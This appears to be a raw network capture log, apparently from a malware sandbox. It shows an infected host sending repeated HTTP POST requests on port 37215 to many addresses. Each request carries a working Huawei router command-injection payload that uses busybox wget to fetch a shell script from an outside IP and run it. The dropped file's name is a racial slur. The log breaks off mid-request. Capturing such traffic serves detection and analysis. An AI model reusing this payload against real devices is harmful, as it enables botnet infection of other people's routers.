Feb 19, 2024 18:37:53.568825960 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:58.944740057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.696281910 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.15	39586	94.121.144.8	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304430962 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.15	44678	94.123.84.86	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304514885 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.15	55334	94.123.40.55	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304598093 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.15	41738	94.123.117.198	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.304694891 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.440853119 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.752867937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo 